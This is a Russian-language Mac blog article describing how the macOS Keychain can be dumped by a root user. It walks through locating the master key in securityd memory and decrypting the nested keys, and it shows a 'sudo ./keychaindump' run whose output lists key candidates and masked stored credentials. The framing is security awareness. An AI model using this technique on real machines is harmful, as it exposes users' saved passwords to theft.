Взлом связки ключей Keychain Mac OS
OS X, tips & tricks, Безопасность | Автор: Владислав Сикорский Оставить коментарийМы уже не раз писали про связку ключей, пароли, писали инструкции по использованию. Также мы делали упор на практической невозможности получить доступ к данным которые вы вносите. Но прошло немного времени, мы проверил ряд экспериментов и опытов благодаря которым удалось разрушить миф. Не спешите расстраиваться, получить доступ к вашим данным сможет далеко не каждый, а только пользователь вашего Mac.
Можно ли взломать связку ключей в Mac OS?
Мы уже не раз писали что связка ключей содержит ваши сохраненные пароли. Это относится ко всем вашим учетным записям в программе Mail, пароли от сайтов которые хранятся в Safari, пароли от Wi-Fi сетей и прочие данные. Связка ключей — самое подходящее место для такого типа данных с точки зрения надежности, потому что она все хранит в зашифрованном виде и получить доступ можно только зная ваш пароль от учетной записи.
Но есть маленькая хитрость… Когда вы включаете компьютер и заходите в свою учетную запись операционная система автоматически разблокирует вашу связку ключей для вашего удобства, чтобы вы не вводили каждый раз пароль при обращении программ к связке. Подробнее мы писали об этом в статье Работа со связкой ключей (часть 3)- Продвинутый пользователь
Если вы не меняли настройки то по умолчанию вы иногда можете видеть такое диалоговое окно:
И такое:
Обратите внимание, что только одно диалоговое окно просит ввести пароль. Большинство пользователей, гораздо счастливее когда система не просит лишний раз что-то вводить. Но, это означает что есть какой-то способ получить доступ к данным не спрашивая ваш пароль. Итак, ваши пароли хранятся в зашифрованном виде, но они должны быть доступны для чтения самой операционной системой которая вашего пароля не знает. Это дилемма и Apple решила чуть пожертвовать безопасностью в Mac OS и упростить пользователям жизнь.
Давайте для начала посмотрим на то что мы уже знаем:
- Открытие связки ключей в Mac OS не меняет сам зашифрованный файл (базу паролей). В открытом виде пароли не появляются ни на жестком диске ни в оперативной памяти.
- Apple, предоставляет официальные API для получения разблокированного пароля. Даже если он не покажет вам его в открытом виде связка ключей выведет диалоговое окно пользователю с запросом разрешения на доступ к объекту.
- Что открытие связки ключей на самом деле делает никто кроме команды Apple не знает. Данная информация никак не задокументирована. В принципе это разумный шаг — усиление безопасности за счет отсутствия официальной документации.
Как взломать связку ключей?
Данные в базе связки ключей зашифрованы много раз с помощью разных ключей. Некоторые из этих ключей шифруются с помощью других ключей, хранящихся в том же файле, прямо как в матрёшке. Ключ, который может открыть самую первую куклу и потянет за собой целый каскад расшифровок извлекается из пароля пользователя с помощью PBKDF2. Мы назвали это ключ »мастер-ключ»
Если кто-то хочет, прочитать содержимое базы связки ключей, они должны знать, либо пароль пользователя, либо мастер-ключ. Это означает, что securityd, процесс, который обрабатывает операции связки в OS X, должен знать, по крайней мере, один из этих паролей.
Мы решили выяснить что же знает этот securityd с помощью некоторых экспериментов:
Сканирование всей памяти securityd демона не выявило никаких намеков на пароль пользователя. Далее, мы использовали PBKDF2 с паролем пользователя, чтобы получить 24-байт мастер-ключ. Просканировали память снова, и нам удалось найти мастер-ключ в памяти securityd. Это приводит к следующему вопросу. Если мастер-ключ действительно хранится в памяти securityd демона, есть ли хороший способ найти его? Тестирование каждых 24- байт памяти не очень элегантно.
Вместо того, чтобы полностью проверять всю память securityd, мы подумали что возможно мастер-ключь может идти рядом с некоторыми особенностями. Они расположены в памяти securityd, помеченной как MALLOC_TINY через VMMap. В этой же области памяти, также всегда есть структуры указывающие на мастер-ключ. Эта структура содержит 8-байтовый размер поля со значением 0×18 (24 в шестнадцатеричной) и указатель на фактические данные.
Поиск на самом деле довольно прост:
- Найти MALLOC_TINY в памяти демона securityd с помощью VMMap
- Поиск в каждой найденной области куда входит 0×0000000000000018
- Если следующее 8-байтовое значение указатель текущей области памяти, то эти данные возможно мастер ключ
При таком распознавании, количество возможных мастер ключей снижается примерно до 20. Каждый из кандидатов может быть использован, чтобы попытаться расшифровать следующий ключ этой матрешки (мы назвали этот ключ «Ключ вкладыша»). Только правильный мастер-ключ должен выдавать разумное значение для следующего ключа. Это не надежный метод, но с низким числом кандидатов вполне приемлемый. В нашем эксперименте не было ни одного ложного срабатывания
В остальном процесс расшифровки довольно утомителен. Мастер-ключ открывает ключ вкладыша. Ключ вкладыша показывает зашифрованный ключ учетной записи. Ключ вкладыша открывает ключ учетной записи. Ключ учетной записи, наконец, раскрывает пароль открытым текстом
Вот пример скрипта и его усеченный выход, фактические пароли и имена пользователей мы заменили крестиками.
$ sudo ./keychaindump
[*] Searching process 15 heap range 0x7fa809400000-0x7fa809500000
[*] Searching process 15 heap range 0x7fa809500000-0x7fa809600000
[*] Searching process 15 heap range 0x7fa809600000-0x7fa809700000
[*] Searching process 15 heap range 0x7fa80a900000-0x7fa80ac00000
[*] Found 17 master key candidates
[*] Trying to decrypt wrapping key in /Users/Vlad/Library/Keychains/login.keychain
[*] Trying master key candidate: b49ad51a672bd4be55a4eb4efdb90b242a5f262ba80a95df
[*] Trying master key candidate: 22b8aa80fa0700605f53994940fcfe9acc44eb1f4587f1ac
[*] Trying master key candidate: 1d7aa80fa0700f002005043210074b877579996d09b70000
[*] Trying master key candidate: a0a20000000200f7474d400000700d01a980fa00007f085e
[*] Trying master key candidate: 180000000000000000000000000000000000000007000001
[*] Trying master key candidate: 0000b107000001000000803e970aa8710ae567eff7ff0000
[*] Trying master key candidate: 796a63507e6c2a84d9f095fae2896058dfe029cd0f7105da
[*] Trying master key candidate: 16ac866d636215c01e337e942f48cfed12d7c45bfab8dbf7
[*] Trying master key candidate: 070020539baab0d1d6a3aa80fa006877ed57f80fa0000000
[*] Trying master key candidate: 88edbaf22819a8eeb8e9b75120c0775de8a4d7da842d4a4a
[+] Found master key: 88edbaf22819a8eeb8e9b75120c0775de8a4d7da842d4a4a
[+] Found wrapping key: e9acc39947f1996df940fceb1f458ac74b877579f54409b7
xxxxxxx:192.168.1.1:xxxxxxx
xxxxxxx:linx.net.ua:xxxxxxx
xxxxxxx@gmail.com:login.facebook.com:xxxxxxx
xxxxxxx@gmail.com:smtp.google.com:xxxxxxx
xxxxxxx@gmail.com:imap.google.com:xxxxxxx
xxxxxxx:Skype:xxxxxxx
xxxxxxx:twitter.com:xxxxxxx
xxxxxxx@gmail.com:www.google.com:xxxxxxx
xxxxxxx:imap.gmail.com:xxxxxxx
Это доказательство правильности концепции, правда далекого от совершенства, и он не выдает прямо вот все возможные данные связки… Но метод работает, и притом довольно хорошо.
Сразу хотим прояснить некоторые заблуждения. Это не ошибка в безопасности Mac OS. Все прошло как задумывала Apple. Мы нашли эту особую технику интересной тем, что она взламывает связку практически мгновенно, в не зависимости от версии Mac OS.
И да, совсем забыли, пользователь Root может прочитать данные связки ключей всех пользователей в Mac OS.
Существует компромисс в реализации связки ключей от Apple, который жертвует некоторыми мерами безопасности для удобства всех пользотателей. В результате чего корневой пользователь может подсмотреть все пароли пользователей, если не принять дополнительные меры, чтобы защитить себя. Мы уверены, что Apple прекрасно понимает последствия для безопасности, и пошли на компромисс умышленно.
В заключение можем порекомендовать прочитать другие статьи по безопасности:
- Как создать зашифрованную флешку в Mac OS X
- Безопасность в сети: Скрываем свое местоположение или как скрыть ip адрес
- Дисковая утилита (часть 3) работа с образами дисков .dmg (здесь описано как создать зашифрованный образ диска)
- Флеш-накопители с аппаратным шифрованнием от Kingston
- Как защитить свои данные или локальная безопасность Mac OS
- Включаем FileVault 2 или защищаем файлы Mac OS
- Как не потерять данные при краже или сбое компьютера
- Как создать хороший пароль? Работа со «Связкой ключей» (Часть 1)
- Работа со связкой ключей (часть 2)
- Работа со связкой ключей (часть 3)- Продвинутый пользователь
Август 15th, 2013 at 13:16
[…] Взлом связки ключей Keychain Mac OS […]
Август 15th, 2013 at 13:18
[…] Взлом связки ключей Keychain Mac OS […]